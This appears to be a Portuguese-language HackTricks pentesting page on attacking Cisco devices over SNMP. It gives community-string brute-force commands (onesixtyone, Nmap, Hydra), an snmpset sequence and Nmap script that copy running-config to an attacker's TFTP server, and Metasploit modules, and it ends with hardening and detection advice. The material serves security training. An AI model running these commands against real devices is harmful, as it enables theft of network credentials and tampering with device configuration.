Cisco SNMP

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Pentesting Cisco Networks

SNMP funciona sobre UDP com as portas 161/UDP para mensagens gerais e 162/UDP para mensagens de trap. Este protocolo depende de strings de comunidade, que servem como "senhas" em texto simples que permitem a comunicação entre agentes e gerentes SNMP. Essas strings determinam o nível de acesso, especificamente permissões de somente leitura (RO) ou leitura e gravação (RW).

Um vetor de ataque clássico—mas ainda extremamente eficaz—é forçar strings de comunidade para elevar de usuário não autenticado a administrador do dispositivo (comunidade RW). Uma ferramenta prática para essa tarefa é onesixtyone:

bash
onesixtyone -c community_strings.txt -i targets.txt

Outras opções rápidas são o script NSE do Nmap snmp-brute ou o módulo SNMP do Hydra:

bash
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
hydra -P wordlist.txt -s 161 10.10.10.1 snmp

Dumping configuration through SNMP (CISCO-CONFIG-COPY-MIB)

Se você obtiver uma comunidade RW, pode copiar a running-config/startup-config para um servidor TFTP/FTP sem acesso CLI abusando do CISCO-CONFIG-COPY-MIB (1.3.6.1.4.1.9.9.96). Duas abordagens comuns são:

  1. Nmap NSE – snmp-ios-config
bash
nmap -sU -p161 --script snmp-ios-config \
--script-args creds.snmp=private 192.168.66.1

O script orquestra automaticamente a operação de cópia e imprime a configuração no stdout.

  1. Sequência manual snmpset
bash
# Copy running-config (4) to a TFTP server (1) – random row id 1234
snmpset -v2c -c private 192.168.66.1 \
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \    # protocol = tftp
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \    # sourceFileType = runningConfig
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \    # destFileType   = networkFile
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4       # rowStatus = createAndGo

Os identificadores de linha são one-shot; reutilizar dentro de cinco minutos aciona erros inconsistentValue.

Uma vez que o arquivo está no seu servidor TFTP, você pode inspecionar credenciais (enable secret, username <user> secret, etc.) ou até mesmo enviar uma configuração modificada de volta para o dispositivo.


Recursos do Metasploit

  • cisco_config_tftp – baixa running-config/startup-config via TFTP após abusar do mesmo MIB.
  • snmp_enum – coleta informações de inventário do dispositivo, VLANs, descrições de interface, tabelas ARP, etc.
bash
use auxiliary/scanner/snmp/snmp_enum
set RHOSTS 10.10.100.10
set COMMUNITY public
run

Vulnerabilidades recentes do Cisco SNMP (2023 – 2025)

Manter o controle dos avisos dos fornecedores é útil para identificar oportunidades de zero-day-to-n-day dentro de um engajamento:

AnoCVERecurso afetadoImpacto
2025CVE-2025-20174Subsistema SNMPPacote elaborado leva a DoS autenticado (reload) no IOS/IOS-XE (v1/v2c/v3).
2024CVE-2024-20373Manipulação de ACL IPv4ACLs estendidas mal configuradas falham silenciosamente, permitindo polling SNMP não autenticado quando uma comunidade/usuário válido é conhecido.
2025(sem CVE ainda)Bypass de restrição de configuração do SNMPv3Usuário v3 válido pode fazer polling de endereços que deveriam ser negados.

A explorabilidade muitas vezes ainda depende de possuir a string da comunidade ou credenciais v3—outra razão pela qual a força bruta continua sendo relevante.


Dicas de Fortalecimento e Detecção

  • Atualize para uma versão fixa do IOS/IOS-XE (veja o aviso da Cisco para o CVE acima).
  • Prefira SNMPv3 com authPriv (SHA-256/AES-256) em vez de v1/v2c.
snmp-server group SECURE v3 priv
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
  • Vincule o SNMP a um VRF de gerenciamento e restrinja com ACLs IPv4 numéricas padrão (ACLs nomeadas estendidas são arriscadas – CVE-2024-20373).
  • Desative comunidades RW; se operacionalmente necessário, limite-as com ACL e views: snmp-server community <string> RW 99 view SysView
  • Monitore por:
  • Picos de UDP/161 ou fontes inesperadas (regras SIEM).
  • Eventos CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource indicando alterações de configuração fora de banda.
  • Ative logging do SNMPv3 e snmp-server packetsize 1500 para reduzir certos vetores de DoS.

Referências

  • Cisco: Como Copiar Configurações Para e De Dispositivos Cisco Usando SNMP
  • Aviso de Segurança da Cisco cisco-sa-snmp-uwBXfqww (CVE-2024-20373)

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks